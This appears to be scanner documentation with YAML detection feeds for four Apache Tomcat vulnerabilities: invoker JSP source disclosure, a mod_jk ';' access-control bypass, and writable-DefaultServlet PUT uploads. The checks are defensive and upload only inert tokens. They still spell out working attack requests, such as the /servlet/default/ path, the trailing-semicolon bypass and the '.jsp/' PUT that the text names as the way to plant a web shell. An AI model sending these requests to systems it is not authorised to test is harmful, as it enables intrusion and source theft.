hit_named.urlfor^/.*/servlet/default/|^/servlet/default/→ finding QoD 75: Apache Tomcat JSP source disclosure via the invoker and the default servlet name (CVE-2002-1394)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2002-1148
- https://nvd.nist.gov/vuln/detail/CVE-2002-1394
- https://bz.apache.org/bugzilla/show_bug.cgi?id=13365
- https://www.securityfocus.com/bid/5786
- https://www.securityfocus.com/bid/6562
- https://www.debian.org/security/2002/dsa-170
Feed source — tests/vulnerabilities/tomcat/tomcat-invoker-jsp-source-disclosure.yaml
# Apache Tomcat 4.x JSP source disclosure through the invoker servlet —
# CVE-2002-1148, CVE-2002-1394
#
# Tomcat 4.0.x / 4.1.x map the invoker servlet on /servlet/* (globally in conf/web.xml
# up to 4.1.10, and in the examples webapp's own web.xml). The invoker loads a servlet
# by class name or by registered name and hands it the rest of the path:
# - /servlet/org.apache.catalina.servlets.DefaultServlet/<file> — the default
# (static file) servlet loaded by class name serves the raw source of <file>,
# JSPs included. Tomcat 4.0.4, 4.1.10 and earlier — CVE-2002-1148.
# - /servlet/default/<file> — the same servlet invoked by its registered name
# "default" bypasses the 4.0.5 / 4.1.12 class-name check (Tomcat bug 13365,
# example URL /examples/servlet/default/jsp/snp/snoop.jsp). Tomcat 4.0.5 and
# earlier, and 4.1.12 with the invoker enabled — CVE-2002-1394.
#
# Detection: for each JSP that a stock Tomcat 4 ships (ROOT /index.jsp in 4.1.x, the
# examples webapp's jsp/snp/snoop.jsp and jsp/num/numguess.jsp in 4.0.x and 4.1.x), both
# invoker URLs are requested in that JSP's context. A URL is a proof when it answers 200
# with JSP source syntax (<%@ / <%= / <% … %> or a <jsp:…> action). A control request
# then fetches the same JSP normally: it must answer 200 (or 500) without any JSP tag, so
# a server that sends JSP source there too (no JSP engine, honeypot) or does not have the
# page at all (catch-all /servlet/* reply) is not reported. Each finding names
# the CVE of the URL that disclosed the source; read-only, the file is only downloaded.
#
# Ported from OpenVAS/Greenbone NVT pre2008/tomcat_source_exposure.nasl
# (OID 1.3.6.1.4.1.25623.1.0.11176, GPL-2.0-only): same class-name URL and the same
# "<%@" source marker. Differences (detection improvements):
# - the NVT tries only /index.jsp and only "<%@": Tomcat 4.0.x ships no ROOT index.jsp
# and the 4.1.x ROOT index.jsp holds no "<%@" (only <%= … %>), so a stock install
# was missed; the examples JSPs and every JSP tag form are checked here;
# - the CVE-2002-1394 by-name URL /servlet/default/ is probed too (4.0.5, which the
# class-name URL no longer reaches);
# - the NVT's fallback ("200 + Server: Apache Tomcat/4.") reported any Tomcat 4.0.x that
# answered 200 without showing any source (and, written as a literal "4\." string,
# never matched); it is dropped — a finding always holds disclosed source;
# - a direct-fetch control rejects servers that show JSP source for any request.
uid: c66e7800-5f9b-4c45-81e8-d3c9fab04375
name: "Apache Tomcat 4.x JSP source disclosure via the invoker and default servlets"
description: >-
Apache Tomcat 4.0.x and 4.1.x up to 4.1.12 let the invoker servlet (/servlet/*) start
the default file servlet by its class name (CVE-2002-1148) or by its registered name
"default" (CVE-2002-1394); that servlet then returns the raw source of any file of the
web application, JSP pages included. For the ROOT index.jsp and the example JSPs that
Tomcat 4 ships, the feed requests /servlet/org.apache.catalina.servlets.DefaultServlet/
and /servlet/default/ followed by the page path, and reports the URL when the reply
contains JSP source code (<%@, <%=, <% … %> or <jsp:…> tags). The same page fetched
normally must exist and must not show JSP source, so a server that never runs JSPs or
answers every request with the same content is not reported. Nothing is written on the target.
category: file-read
cves: [CVE-2002-1148, CVE-2002-1394]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [apache, tomcat, invoker, source-disclosure, file-read]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2002-1148"
- "https://nvd.nist.gov/vuln/detail/CVE-2002-1394"
- "https://bz.apache.org/bugzilla/show_bug.cgi?id=13365"
- "https://www.securityfocus.com/bid/5786"
- "https://www.securityfocus.com/bid/6562"
- "https://www.debian.org/security/2002/dsa-170"
- "OpenVAS/Greenbone NASL pre2008/tomcat_source_exposure.nasl (GPL-2.0-only)"
steps:
# First proof per CVE (URL + source excerpt), filled by the loop below.
- id: init-hit-classname
action: script
code: |
#{ url: "", excerpt: "" }
store_as: hit_classname
- id: init-hit-named
action: script
code: |
#{ url: "", excerpt: "" }
store_as: hit_named
# ── Loop group: one pass per stock Tomcat 4 JSP; the following steps run each pass.
- id: init-pass
action: set_var
var_name: probe_cls
var_value: {status: 0, body: ""}
loop:
var: page
over: ["|/index.jsp", "/examples|/jsp/snp/snoop.jsp", "/examples|/jsp/num/numguess.jsp"]
- id: init-pass-named
action: set_var
var_name: probe_named
var_value: {status: 0, body: ""}
- id: init-pass-direct
action: set_var
var_name: direct
var_value: {status: 0, body: ""}
# Context path and file of this pass, and the two invoker URLs.
- id: page-info
action: script
code: |
let parts = split(page, "|");
let ctx = parts[0];
let file = parts[1];
#{
direct: ctx + file,
classname: ctx + "/servlet/org.apache.catalina.servlets.DefaultServlet" + file,
named: ctx + "/servlet/default" + file
}
store_as: cur
- id: probe-classname
action: http_request
method: GET
path: "{{cur.classname}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: probe_cls
- id: probe-named
action: http_request
method: GET
path: "{{cur.named}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: probe_named
# JSP source excerpt of each reply ("" when the reply is not a 200 holding JSP tags).
- id: source-candidates
action: script
code: |
let re = "<%[@=!]?[ \\t\\r\\n]*[A-Za-z_][^%<>]{0,120}%>|<jsp:[a-zA-Z]+[^<>]{0,120}>";
let a = "";
let b = "";
if probe_cls.status == 200 && type_of(probe_cls.body) == "string" {
let m = eregmatch(re, probe_cls.body);
if m.len() > 0 { a = m[0]; }
}
if probe_named.status == 200 && type_of(probe_named.body) == "string" {
let m = eregmatch(re, probe_named.body);
if m.len() > 0 { b = m[0]; }
}
#{ classname: a, named: b }
store_as: cand
# Control: the same JSP fetched normally (rendered by Tomcat's JSP servlet).
- id: probe-direct
action: http_request
method: GET
path: "{{cur.direct}}"
port: "{{port}}"
condition: 'cand.classname != "" || cand.named != ""'
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: direct
# Keep the first proof per CVE. A pass counts only when the control reply is the page
# itself (200 / 500) and holds no JSP tag at all: the page is executed when fetched
# normally, and its source comes back only through the invoker URL.
- id: verdict
action: script
code: |
let re = "<%[@=!]?[ \\t\\r\\n]*[A-Za-z_][^%<>]{0,120}%>|<jsp:[a-zA-Z]+[^<>]{0,120}>";
let db = if type_of(direct.body) == "string" { direct.body } else { "" };
// The page must exist and run when fetched normally (200, or 500 for a JSP that
// fails to compile): a 404/30x there means the invoker reply came from a catch-all.
let control_ok = (direct.status == 200 || direct.status == 500) && eregmatch(re, db).len() == 0;
let hc = hit_classname;
let hn = hit_named;
if control_ok && cand.classname != "" && hc.url == "" {
hc = #{ url: cur.classname, excerpt: cand.classname };
}
if control_ok && cand.named != "" && hn.url == "" {
hn = #{ url: cur.named, excerpt: cand.named };
}
#{ classname: hc, named: hn }
store_as: pass_result
- id: keep-classname
action: script
code: |
pass_result.classname
store_as: hit_classname
- id: keep-named
action: script
code: |
pass_result.named
store_as: hit_named
# Second loop group: the reports run once, after the page loop.
- id: after-loop
action: set_var
var_name: loop_done
var_value: true
loop:
var: pass
over: ["once"]
- id: report-classname
action: match
source: hit_classname.url
pattern: "^/.*/servlet/org\\.apache\\.catalina\\.servlets\\.DefaultServlet/|^/servlet/org\\.apache\\.catalina\\.servlets\\.DefaultServlet/"
on_match:
finding:
cves: [CVE-2002-1148]
cvss: 5.0
severity: medium
title: "Apache Tomcat JSP source disclosure via the DefaultServlet class name (CVE-2002-1148)"
description: "Tomcat's invoker servlet started org.apache.catalina.servlets.DefaultServlet by its class name and that servlet returned the raw source of a JSP page, while the same page fetched normally is executed. Anyone can read the source of every JSP and file of the web application this way, including credentials, SQL queries and business logic embedded in the pages."
remediation: "Upgrade Apache Tomcat to a supported release (4.0.5 / 4.1.12 fixed this URL; Tomcat 4 is end of life). Until then disable the invoker servlet: comment out its /servlet/* servlet-mapping in conf/web.xml and in each web application's WEB-INF/web.xml."
confidence_delta: 0.55
qod: 75
evidence: "GET {{hit_classname.url}} returned HTTP 200 with JSP source code ({{hit_classname.excerpt}}); the page fetched directly contains no JSP tag"
- id: report-named
action: match
source: hit_named.url
pattern: "^/.*/servlet/default/|^/servlet/default/"
on_match:
finding:
cves: [CVE-2002-1394]
cvss: 7.5
severity: high
title: "Apache Tomcat JSP source disclosure via the invoker and the default servlet name (CVE-2002-1394)"
description: "Tomcat's invoker servlet started the default file servlet by its registered name (/servlet/default/) and that servlet returned the raw source of a JSP page, while the same page fetched normally is executed. This by-name URL bypasses the class-name fix of CVE-2002-1148. Anyone can read the source of every JSP and file of the web application this way, and reach static resources protected by a security constraint."
remediation: "Upgrade Apache Tomcat to a supported release (later than 4.0.5 / 4.1.12; Tomcat 4 is end of life). Until then disable the invoker servlet: comment out its /servlet/* servlet-mapping in conf/web.xml and in each web application's WEB-INF/web.xml (the examples webapp declares its own)."
confidence_delta: 0.55
qod: 75
evidence: "GET {{hit_named.url}} returned HTTP 200 with JSP source code ({{hit_named.excerpt}}); the page fetched directly contains no JSP tag"Apache Tomcat JK Connector (mod_jk) < 1.2.46 Access Control Bypass
| CVE | CVE-2018-11759 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | set_var, http_request, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/tomcat/CVE-2018-11759.yaml |
Apache Tomcat JK Connector (mod_jk) 1.2.0 through 1.2.44 normalises the request path incorrectly before matching it to the URI-worker map, so a specially crafted request bypasses the access controls configured in httpd and reaches functionality that was not meant to be exposed through the reverse proxy. The check confirms that a status worker (/jkstatus or /manager.jk) is denied by httpd (403/401), then requests the same URL with a trailing ';' and verifies that the protected JK Status Manager page is returned.
How noctis detects it
- HTTP(S) request
GET {{jk_path}} - HTTP(S) request
GET {{jk_path}}; - Parses / computes the next value with a Rhai script
- Checks
bypass_resp.bodyforJK Status Manager→ finding QoD 75: Apache Tomcat JK Connector (mod_jk) Access Control Bypass (CVE-2018-11759)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2018-11759
- https://tomcat.apache.org/connectors-doc/miscellaneous/changelog.html
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-11759.yaml
Feed source — tests/vulnerabilities/tomcat/CVE-2018-11759.yaml
# CVE-2018-11759 — Apache Tomcat JK Connector (mod_jk) 1.2.0-1.2.44 access
# control bypass. Active check ported from OpenVAS/Greenbone NASL
# 2019/apache/gb_apache_mod_jk_auth_bypass_vuln_active.nasl (GPL-2.0-only),
# with the Nuclei template http/cves/2018/CVE-2018-11759.yaml for the content
# marker.
#
# mod_jk's httpd-specific code normalised the request path incorrectly before
# matching it against the URI-worker map: a path parameter (`;`) appended to a
# mapped URI still routes the request to the worker, but no longer matches the
# httpd <Location> block that restricts it. A status worker (`/jkstatus`,
# `/manager.jk`) that httpd denies to remote clients therefore becomes reachable
# as `/jkstatus;`.
#
# Detection, per candidate status-worker URL (loop group):
# 1. GET <url> — the NASL requires the worker to be access-controlled
# (403). Beyond the NASL, a 401 (auth-protected <Location>) is accepted
# too: the bypass skips the httpd access check the same way.
# 2. GET <url>; — the bypass request.
# 3. Report only when the bypass answers 200 AND its body is the JK Status
# Manager page (Nuclei marker). The NASL keys on the 200 status alone,
# which false-positives on any server that answers 200 to an unknown
# `;`-suffixed path (catch-all / SPA front ends); requiring the protected
# status page's own content proves the restricted function was actually
# reached. The status page is read with a GET only: nothing is changed on
# the target (the read-only "list" view, no cmd=update/reset).
# The NASL prefixes the URLs with the detected mod_jk app location; noctis has
# no app-location detection, so the worker URLs are tried at the web root,
# which is where mod_jk's documented JkMount examples place them.
uid: 6b283f77-36f2-4192-84f6-1c5ba76671bd
name: "Apache Tomcat JK Connector (mod_jk) < 1.2.46 Access Control Bypass (CVE-2018-11759)"
description: |
Apache Tomcat JK Connector (mod_jk) 1.2.0 through 1.2.44 normalises the
request path incorrectly before matching it to the URI-worker map, so a
specially crafted request bypasses the access controls configured in httpd
and reaches functionality that was not meant to be exposed through the
reverse proxy. The check confirms that a status worker (/jkstatus or
/manager.jk) is denied by httpd (403/401), then requests the same URL with a
trailing ';' and verifies that the protected JK Status Manager page is
returned.
cves: [CVE-2018-11759]
cvss: 7.5
severity: high
confidence_base: 0.30
category: auth-bypass
tags:
- apache
- tomcat
- mod_jk
- auth-bypass
- intrusive
services:
- http
- https
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-11759"
- "https://tomcat.apache.org/connectors-doc/miscellaneous/changelog.html"
- "OpenVAS/Greenbone NASL 2019/apache/gb_apache_mod_jk_auth_bypass_vuln_active.nasl (GPL-2.0-only)"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-11759.yaml"
steps:
# Every step from here on runs once per candidate status-worker URL. The
# stored results are pre-initialised so a failed request (reset, timeout)
# cannot leave them undefined and abort the whole test in the script step.
- id: init-base-resp
action: set_var
var_name: base_resp
var_value: {status: 0, body: null}
loop:
over: ["/jkstatus", "/manager.jk"]
var: jk_path
- id: init-bypass-resp
action: set_var
var_name: bypass_resp
var_value: {status: 0, body: null}
# ── 1. The status worker must be access-controlled by httpd ──────────────
- id: baseline
action: http_request
method: GET
port: "{{port}}"
path: "{{jk_path}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: base_resp
# ── 2. Same URL with a trailing path parameter ───────────────────────────
- id: bypass
action: http_request
method: GET
port: "{{port}}"
path: "{{jk_path}};"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "base_resp.status == 403 || base_resp.status == 401"
store_as: bypass_resp
- id: verify
action: script
code: |
let denied = base_resp.status == 403 || base_resp.status == 401;
let reached = bypass_resp.status == 200
&& type_of(bypass_resp.body) == "string"
&& bypass_resp.body.contains("JK Status Manager");
#{ bypass: denied && reached }
store_as: jk
- id: report
action: match
source: bypass_resp.body
pattern: "JK Status Manager"
condition: "jk.bypass"
on_match:
finding:
confidence_delta: 0.55
qod: 75
title: "Apache Tomcat JK Connector (mod_jk) Access Control Bypass (CVE-2018-11759)"
description: >
The mod_jk status worker {{jk_path}} is denied by httpd, but the same
URL with a trailing ';' path parameter is still routed to the worker
and returns the protected JK Status Manager page, bypassing the httpd
access controls (mod_jk 1.2.0-1.2.44). Upgrade mod_jk to 1.2.46 or
later.
evidence: "GET {{jk_path}} → HTTP {{base_resp.status}} (denied); GET {{jk_path}}; → HTTP {{bypass_resp.status}} with the JK Status Manager page"
stop: trueApache Tomcat Writable DefaultServlet JSP Upload
| CVE | CVE-2017-12617 |
|---|---|
| Severity | high · CVSS 8.1 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/tomcat/CVE-2017-12617.yaml |
Detects the vulnerable condition behind CVE-2017-12617: Apache Tomcat with the DefaultServlet configured writable (readonly=false). On such a server an unauthenticated PUT to a `*.jsp/` path (the trailing-slash bypass of the JspServlet mapping) writes a file into the webroot, which an attacker uses to drop a JSP web shell and reach remote code execution.
Detection is a benign write-then-read differential, not exploitation. The feed generates a per-run random token, PUTs an INERT text file (no scriptlet, no code) named `<token>.jsp/` whose body carries that token, then GETs the file back and confirms the server returned ITS OWN token. A vulnerable server accepts the PUT (201 Created) and serves the inert bytes back; a patched or read-only server rejects the PUT (403/409) and the subsequent GET is 404, so nothing matches. No code is written or executed on the target.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
PUT /{{token}}.jsp/with a crafted body - HTTP(S) request
GET /{{token}}.jsp - Checks
get_resp.bodyforNOCTIS_JSP_UPLOAD_PROBE_[0-9a-f]{32}→ finding QoD 75: Unauthenticated PUT to ….jsp/ accepted (status …); inert uploaded content served back verbatim on GET — DefaultServlet readonly=false (CVE-…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2017-12617
- https://github.com/cyberheartmi9/CVE-2017-12617
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2017/CVE-2017-12617.yaml
Feed source — tests/vulnerabilities/tomcat/CVE-2017-12617.yaml
uid: f10acf11-1cec-46c3-a250-4272eda7e77f
name: "Apache Tomcat Writable DefaultServlet JSP Upload (CVE-2017-12617)"
description: |
Detects the vulnerable condition behind CVE-2017-12617: Apache Tomcat with
the DefaultServlet configured writable (readonly=false). On such a server an
unauthenticated PUT to a `*.jsp/` path (the trailing-slash bypass of the
JspServlet mapping) writes a file into the webroot, which an attacker uses to
drop a JSP web shell and reach remote code execution.
Detection is a benign write-then-read differential, not exploitation. The
feed generates a per-run random token, PUTs an INERT text file (no scriptlet,
no code) named `<token>.jsp/` whose body carries that token, then GETs the
file back and confirms the server returned ITS OWN token. A vulnerable server
accepts the PUT (201 Created) and serves the inert bytes back; a patched or
read-only server rejects the PUT (403/409) and the subsequent GET is 404, so
nothing matches. No code is written or executed on the target.
cves: [CVE-2017-12617]
cvss: 8.1
severity: high
confidence_base: 0.25
category: rce
tags: [tomcat, put, jsp, upload, rce, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2017-12617"
- "https://github.com/cyberheartmi9/CVE-2017-12617"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2017/CVE-2017-12617.yaml"
steps:
# Per-run random token — makes the probe content unique every run, so the
# match can only succeed on bytes THIS run wrote (never a mock constant).
- id: gen-token
action: script
code: '"NOCTIS_JSP_UPLOAD_PROBE_" + rand_hex(16)'
store_as: token
# Write-phase probe: PUT an inert .jsp file via the trailing-slash bypass.
# Body is plain marker text only — no JSP scriptlet, nothing executable.
# Vulnerable (readonly=false): 201 Created, file stored at <token>.jsp.
# Patched / read-only: 403 Forbidden (or 409), nothing written.
- id: put-probe
action: http_request
method: PUT
path: "/{{token}}.jsp/"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
headers:
Content-Type: "text/plain"
body: "{{token}}"
store_as: put_resp
# Read-phase: fetch the file back at the de-slashed path.
# Vulnerable: 200 with the inert bytes we just wrote.
# Patched: 404 Not Found (nothing was stored).
- id: get-probe
action: http_request
method: GET
path: "/{{token}}.jsp"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
store_as: get_resp
# Confirm the genuine write-then-read differential:
# - the PUT was accepted (201), AND
# - the GET served back OUR unique per-run token.
# The match pattern is structural; the on_match condition keys on the exact
# token this run generated, so a patched mock (403/404) and a marker swap
# both yield zero findings.
- id: verify-upload
action: match
source: get_resp.body
pattern: "NOCTIS_JSP_UPLOAD_PROBE_[0-9a-f]{32}"
on_match:
condition: 'put_resp.status == 201 && get_resp.body.contains(token)'
finding:
confidence_delta: 0.50
qod: 75
evidence: "Unauthenticated PUT to {{token}}.jsp/ accepted (status {{put_resp.status}}); inert uploaded content served back verbatim on GET — DefaultServlet readonly=false (CVE-2017-12617)"Apache Tomcat Writable DefaultServlet PUT
| CVE | CVE-2017-12615 |
|---|---|
| Severity | high · CVSS 8.1 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/tomcat/CVE-2017-12615.yaml |
Detects Apache Tomcat configured with DefaultServlet readonly=false, which lets an unauthenticated HTTP PUT write a file into the webroot. On Windows this is escalated to remote code execution by uploading a JSP, but the root cause — and what this feed detects — is the write-enabled default servlet itself.
Detection is non-exploitative: the feed PUTs a BENIGN, inert text file whose content is a unique per-run random token, then GETs it back. A vulnerable server accepts the PUT (2xx) and serves our exact token back on GET; a patched/default server rejects the PUT (403/404/405) and the file is not retrievable. The confirmed signal is that OUR uploaded benign content is reflected back (write capability proven) — no code is uploaded and no command is executed. The token is unique per run, so the match is on our reflected input rather than any server-side constant.
How noctis detects it
- HTTP(S) request
PUT /noctis-write-probe-{{oob_token}}.txtwith a crafted body - HTTP(S) request
GET /noctis-write-probe-{{oob_token}}.txt - Checks
get_resp.bodyforNOCTIS-WRITE-PROBE-→ finding QoD 75: Tomcat DefaultServlet readonly=false: benign file PUT to /noctis-write-probe-….txt accepted (status …) and retrieved with our exact per-run…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2017-12615
- https://lists.apache.org/thread/8gq7hf2j8o2bo6rpmodb7gxk8rw4q3vl
Feed source — tests/vulnerabilities/tomcat/CVE-2017-12615.yaml
uid: be553c2d-859c-40c7-9450-31bae004e671
name: "Apache Tomcat Writable DefaultServlet PUT (CVE-2017-12615)"
description: |
Detects Apache Tomcat configured with DefaultServlet readonly=false, which
lets an unauthenticated HTTP PUT write a file into the webroot. On Windows
this is escalated to remote code execution by uploading a JSP, but the root
cause — and what this feed detects — is the write-enabled default servlet
itself.
Detection is non-exploitative: the feed PUTs a BENIGN, inert text file whose
content is a unique per-run random token, then GETs it back. A vulnerable
server accepts the PUT (2xx) and serves our exact token back on GET; a
patched/default server rejects the PUT (403/404/405) and the file is not
retrievable. The confirmed signal is that OUR uploaded benign content is
reflected back (write capability proven) — no code is uploaded and no command
is executed. The token is unique per run, so the match is on our reflected
input rather than any server-side constant.
cves: [CVE-2017-12615]
cvss: 8.1
severity: high
confidence_base: 0.30
category: rce
tags: [tomcat, put, default-servlet, readonly, file-write, rce]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2017-12615"
- "https://lists.apache.org/thread/8gq7hf2j8o2bo6rpmodb7gxk8rw4q3vl"
steps:
# 1. Write a benign, inert text file. The body is a fixed probe prefix plus a
# unique per-run token ({{oob_token}} is a per-run UUID) — no code, no JSP.
- id: put-benign-file
action: http_request
method: PUT
path: "/noctis-write-probe-{{oob_token}}.txt"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
headers:
Content-Type: "text/plain"
body: "NOCTIS-WRITE-PROBE-{{oob_token}}"
store_as: put_resp
# 2. Retrieve the file we just wrote.
- id: get-benign-file
action: http_request
method: GET
path: "/noctis-write-probe-{{oob_token}}.txt"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
store_as: get_resp
# 3. Confirm write capability: the PUT succeeded (2xx) AND the GET returns our
# exact per-run token. get_resp.body.contains(oob_token) is the marker-swap
# -safe signal — it matches OUR reflected input, not a mock constant.
- id: confirm-write
action: match
source: get_resp.body
pattern: "NOCTIS-WRITE-PROBE-"
condition: "put_resp.status >= 200 && put_resp.status < 300 && get_resp.status == 200 && get_resp.body.contains(oob_token)"
on_match:
finding:
confidence_delta: 0.45
qod: 75
evidence: "Tomcat DefaultServlet readonly=false: benign file PUT to /noctis-write-probe-{{oob_token}}.txt accepted (status {{put_resp.status}}) and retrieved with our exact per-run token — unauthenticated webroot write confirmed"